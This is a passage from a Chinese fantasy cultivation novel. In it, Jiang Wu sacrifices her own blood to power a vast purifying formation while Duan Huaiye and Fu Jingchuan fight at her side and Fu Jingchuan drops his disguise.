姜芜沉下心,先是抬手解了段怀野对厍灯的控制,随即便想着强行将此地净化,她召唤出无心乱,反手割破了自己的手腕,先是撒了厍灯一脸,正准备划开另一只手腕时,却被冲过来的傅靖川按了下来。 “让我帮你做些事情。” 姜芜认真地思索了片刻,随即笑着说:“我希望你能好好活着,不再受疼痛的折磨,我只是帮他一些小忙,他答应去取天书第四卷,看看上面有没有治愈你的法子。” 傅靖川蹙眉,“不需要,你为我做得事情已经够多了,别让自己后悔,我也不愿再让你继续下去。” 姜芜反手推开傅靖川,随即当着他的面割开自己的手腕,神情决绝地说:“我不悔。” 姜芜用戾气将鲜血引渡到双手之上,结印画阵。 硕大的法阵升至半空,姜芜一改周身暴虐的戾气,换作至真至纯的灵力,源源不断地输送进法阵之中。 傅靖川抬眸看去,这个法阵要比他在草原上看到的法阵更庞大,更繁冗,而他只能束手无策地站在一旁,看着姜芜以燃烧生命为代价换取他的生。 姜芜扬声道:“段怀野,将那些羽人引到法阵中来。” 厍灯清醒了过来,他先是摸了一把脸上的血液,随即立刻扑上前准备阻止姜芜。 “姐姐,你不能这样做!” 傅靖川扬手用戾气将厍灯压制在地,让他不能前进一分。 段怀野回头看了姜芜一眼,随即抬手掐诀,太初剑浮在他的身前,剑神大涨,一剑横扫千军万马,压迫感十足的剑气将所有的羽人扫荡进了姜芜的法阵之中。 姜芜勉力支撑着法阵,段怀野从原处掠来,他从纳戒中取出天书,将一道神力注入法阵之中。 姜芜松了口气,却发觉璧畲玺从暗处蹿出来,直逼段怀野的后心而去。 “当心身后!” 傅靖川定睛一看,直接抬手将璧畲玺拦了下来。 段怀野先是回头看了璧畲玺一眼,随后又抬眸去看傅靖川,勾唇笑着说:“藏得够深啊,我还真以为是个十方楼的药童。” 傅靖川见状也不再隐瞒,面容急剧变化,一改方才的懵懂单纯,变得浓稠昳丽,他冷目看着段怀野,随即缓缓地收回了目光,对其不屑一顾。 段怀野笑着说:“你还真是不怕死。” 睢羲下颌紧绷,神情不悦地看着段怀野。 段怀野长眉一挑,闲庭信步地朝着姜芜走去。 睢羲立刻道:“停下!”